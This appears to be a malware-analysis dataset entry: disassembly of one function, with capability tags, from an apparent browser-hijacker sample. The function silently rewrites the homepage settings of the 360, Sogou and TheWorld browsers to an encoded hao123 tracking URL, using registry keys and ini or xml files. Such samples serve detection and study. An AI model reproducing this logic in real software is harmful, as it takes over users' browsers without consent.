Function at 0x402dd0
Capabilities:
Check if file exists
Persist via app paths registry key
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4240b2
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x103ec
call fcn.0041e180
mov eax, dword [0x42e4a0]
xor eax, esp
mov dword [esp + 0x103e8], eax
push ebx
push esi
push edi
mov eax, dword [0x42e4a0]
xor eax, esp
push eax
lea eax, [esp + 0x10400]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x100
lea ecx, [esp + 0x102f8]
push ecx
push str.APPDATA
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [esp + 0x118]
xor ebx, ebx
mov dword [esp + 0x114], edx
mov byte [esp + 0x118], bl
lea eax, [esp + 0x102f4]
push eax
push str._s360se360se.ini
lea edi, [esp + 0x11c]
mov dword [esp + 0x10410], ebx
call fcn.00409b50
push 0x99
push ebx
mov byte [esp + 0xe0], bl
mov dword [esp + 0xdc], ebx
call fcn.00411e87
push 0x98
push str.aHR0cDovL3d3dy5oYW8xMjMuY29tLz90bj0yOTA2NTAxOF83Nl9oYW9fcGd7MGI3NmZhZTBjZjFjM2IzYzlkMjQyNTZlZGQ1NTBlODN9ezUxMzM5MDY5MTdjMzE3M2Q5NjY2NDZmZDRmMjViYmQ0fQ
push eax
mov dword [esp + 0xe8], eax
call fcn.00411bd7
mov ecx, dword [esp + 0xe8]
add esp, 0x1c
mov byte [ecx + 0x98], bl
lea edx, [esp + 0x20]
push edx
push 0x20006
push ebx
push str.Software360360se5default
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402f59
mov esi, dword [esp + 0xcc]
mov eax, esi
lea edi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402ee0
sub eax, edi
push eax
mov eax, dword [esp + 0x24]
push esi
push 1
push ebx
push str.homepage
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x114]
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 0x7c]
push ecx
push eax
push str.HomePage
lea edx, [esp + 0x16c]
push str.Option
mov dword [esp + 0x16c], edx
mov byte [esp + 0x170], bl
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [esp + 0x15c]
lea edx, [esp + 0x160]
cmp eax, edx
je 0x402f59
push eax
call fcn.00410721
add esp, 4
lea eax, [esp + 0x88]
mov dword [esp + 0x84], eax
mov byte [esp + 0x88], bl
lea ecx, [esp + 0x102f4]
push ecx
push str._sSogouExplorerconfig.xml
lea edi, [esp + 0x8c]
mov byte [esp + 0x10410], 2
call fcn.00409b50
mov edx, dword [esp + 0x8c]
add esp, 8
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4033e3
mov ecx, dword [esp + 0x84]
lea edi, [esp + 0x2c]
call fcn.00403a00
lea eax, [esp + 0x1e0]
mov dword [esp + 0x1d4], eax
neg eax
and eax, 3
lea ecx, [esp + eax + 0x1e0]
lea edx, [esp + 0x101e0]
mov dword [esp + 0x1a4], ebx
mov dword [esp + 0x1a8], ebx
mov dword [esp + 0x1b4], ebx
mov dword [esp + 0x1b8], ebx
mov dword [esp + 0x1bc], ebx
mov dword [esp + 0x1c4], ebx
mov dword [esp + 0x101e0], ebx
mov dword [esp + 0x101e4], ebx
mov dword [esp + 0x1d8], ecx
mov dword [esp + 0x1dc], edx
mov byte [esp + 0x10408], 4
mov eax, dword [esp + 0x2c]
push eax
lea edi, [esp + 0x1a8]
call fcn.00406250
mov eax, dword [esp + 0x1bc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], esi
cmp esi, ebx
je 0x4033be
push esi
mov ebx, str.homepage
call fcn.00403bf0
test eax, eax
je 0x40306a
mov edx, eax
mov ecx, esi
call fcn.00403d00
mov eax, str.homepage
nop
inc eax
cmp byte [eax], 0
jne 0x403070
sub eax, str.homepage
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
mov dword [esp + 0x10], eax
test ebx, ebx
je 0x4030a9
mov ecx, str.homepage
sub ecx, eax
mov esi, ebx
jmp 0x4030a0
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0x4030a0
mov eax, dword [esp + 0x14]
mov edi, dword [eax + 0x7c]
cmp byte [edi], 0
mov eax, edi
je 0x4030bd
inc eax
cmp byte [eax], 0
jne 0x4030b7
sub eax, edi
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
test ebx, ebx
je 0x4030e1
mov ecx, eax
sub edi, eax
mov esi, ebx
mov dl, byte [edi + ecx]
mov byte [ecx], dl
inc ecx
dec esi
jne 0x4030d8
mov edi, dword [esp + 0x10]
push eax
lea esi, [esp + 0x1d8]
call fcn.00403e10
mov esi, dword [esp + 0x18]
xor ecx, ecx
cmp dword [esi + 0x20], ecx
je 0x40310b
mov edx, dword [esi + 0x24]
mov dword [eax + 0x14], edx
mov edx, dword [esi + 0x24]
mov dword [edx + 0x18], eax
jmp 0x403111
mov dword [eax + 0x14], ecx
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
push esi
mov ebx, str.homepagetype
mov dword [eax + 0x10], esi
mov dword [eax + 0x18], ecx
call fcn.00403bf0
test eax, eax
je 0x403132
mov edx, eax
mov ecx, esi
call fcn.00403d00
mov eax, str.homepagetype
inc eax
cmp byte [eax], 0
jne 0x403137
sub eax, str.homepagetype
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
mov edi, eax
mov dword [esp + 0x10], edi
test ebx, ebx
je 0x40316d
mov ecx, str.homepagetype
sub ecx, edi
mov esi, ebx
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0x403164
mov eax, 0x428784
inc eax
cmp byte [eax], 0
jne 0x403172
sub eax, 0x428784
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
mov esi, eax
test ebx, ebx
je 0x4031ad
mov edx, 0x428784
mov ecx, esi
sub edx, esi
mov edi, ebx
lea ecx, [ecx]
mov al, byte [edx + ecx]
mov byte [ecx], al
inc ecx
dec edi
jne 0x4031a0
mov edi, dword [esp + 0x10]
push esi
lea esi, [esp + 0x1d8]
call fcn.00403e10
mov esi, dword [esp + 0x18]
xor ecx, ecx
cmp dword [esi + 0x20], ecx
je 0x4031d3
mov edx, dword [esi + 0x24]
mov dword [eax + 0x14], edx
mov edx, dword [esi + 0x24]
mov dword [edx + 0x18], eax
jmp 0x4031d9
mov dword [eax + 0x14], ecx
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
push esi
mov ebx, str.startpageinitdisplaycount
mov dword [eax + 0x10], esi
mov dword [eax + 0x18], ecx
call fcn.00403bf0
test eax, eax
je 0x4031fa
mov edx, eax
mov ecx, esi
call fcn.00403d00
mov eax, str.startpageinitdisplaycount
nop
inc eax
cmp byte [eax], 0
jne 0x403200
sub eax, str.startpageinitdisplaycount
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
mov edi, eax
mov dword [esp + 0x10], edi
test ebx, ebx
je 0x403239
mov ecx, str.startpageinitdisplaycount
sub ecx, edi
mov esi, ebx
lea ecx, [ecx]
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0x403230
mov eax, 0x4287a4
mov edi, edi
inc eax
cmp byte [eax], 0
jne 0x403240
sub eax, 0x4287a4
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
mov esi, eax
test ebx, ebx
je 0x40327d
mov edx, 0x4287a4
mov ecx, esi
sub edx, esi
mov edi, ebx
jmp 0x403270
mov al, byte [edx + ecx]
mov byte [ecx], al
inc ecx
dec edi
jne 0x403270
mov edi, dword [esp + 0x10]
push esi
lea esi, [esp + 0x1d8]
call fcn.00403e10
mov ecx, dword [esp + 0x18]
xor edx, edx
cmp dword [ecx + 0x20], edx
je 0x4032a3
mov esi, dword [ecx + 0x24]
mov dword [eax + 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [esi + 0x18], eax
jmp 0x4032a9
mov dword [eax + 0x14], edx
mov dword [ecx + 0x20], eax
mov dword [ecx + 0x24], eax
mov dword [eax + 0x10], ecx
mov dword [eax + 0x18], edx
mov eax, str.xml_version_1.0__encoding_utf_8_
inc eax
cmp byte [eax], dl
jne 0x4032b7
sub eax, str.xml_version_1.0__encoding_utf_8_
lea ebx, [eax + 1]
lea esi, [esp + 0x1d4]
call fcn.00405160
mov edi, eax
test ebx, ebx
je 0x4032ea
mov edx, str.xml_version_1.0__encoding_utf_8_
mov ecx, edi
sub edx, edi
mov esi, ebx
mov al, byte [edx + ecx]
mov byte [ecx], al
inc ecx
dec esi
jne 0x4032e1
push 7
lea esi, [esp + 0x1d8]
call fcn.00403d70
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x1a4]
call fcn.00403c70
mov ecx, dword [esp + 0x84]
push ecx
lea edx, [esp + 0x101f0]
push edx
call fcn.00403ed0
xor eax, eax
push eax
push eax
lea edx, [esp + 0x1ac]
push edx
lea ecx, [esp + 0x101f8]
push ecx
push eax
lea eax, [esp + 0x38]
push eax
mov byte [esp + 0x10420], 5
call fcn.00407100
add esp, 0x18
lea eax, [esp + 0x101f0]
call fcn.004052c0
test eax, eax
jne 0x40338d
mov ecx, dword [esp + 0x101ec]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x101f8]
lea ecx, [esp + ecx + 0x101ec]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40337b
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x40338d
push 0
call fcn.00401520
lea ecx, [esp + 0x1024c]
mov byte [esp + 0x10408], 4
call fcn.00404030
lea edx, [esp + 0x1024c]
push edx
mov dword [esp + 0x10250], 0x429344
call fcn.0040f7d6
add esp, 4
xor ebx, ebx
lea esi, [esp + 0x1d4]
mov byte [esp + 0x10408], 3
call fcn.00405100
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0x4033e3
push eax
call fcn.0041114a
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsTheWorld.exe
lea eax, [esp + 0x50]
push 0x80000002
mov dword [esp + 0x50], eax
mov byte [esp + 0x54], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403476
push 0x103
lea edx, [esp + 0x101f1]
push ebx
push edx
mov byte [esp + 0x101f8], bl
call fcn.004173c0
mov edx, dword [esp + 0x28]
add esp, 0xc
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x101f0]
push ecx
push ebx
push ebx
push str.Path
push edx
mov dword [esp + 0x3c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x101ec]
push eax
push 0x42881c
lea edi, [esp + 0x44]
call fcn.00409b50
mov ecx, dword [esp + 0x24]
add esp, 8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x3c]
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403480
sub eax, edx
cmp eax, ebx
jle 0x4034bc
push str.TheWorld.ini
lea eax, [esp + 0x40]
call fcn.004095f0
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x7c]
push edx
push ecx
push str.HomePage
push str.Option
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov esi, dword [esp + 0x3c]
lea edx, [esp + 0x40]
cmp esi, edx
je 0x4034cd
push esi
call fcn.00410721
add esp, 4
mov eax, dword [esp + 0x84]
lea ecx, [esp + 0x88]
cmp eax, ecx
je 0x4034e8
push eax
call fcn.00410721
add esp, 4
mov eax, dword [esp + 0xcc]
lea edx, [esp + 0xd0]
cmp eax, edx
je 0x403503
push eax
call fcn.00410721
add esp, 4
mov eax, dword [esp + 0x114]
lea ecx, [esp + 0x118]
cmp eax, ecx
je 0x40351e
push eax
call fcn.00410721
add esp, 4
mov ecx, dword [esp + 0x10400]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x103e8]
xor ecx, esp
call fcn.00410127
mov esp, ebp
pop ebp
ret 4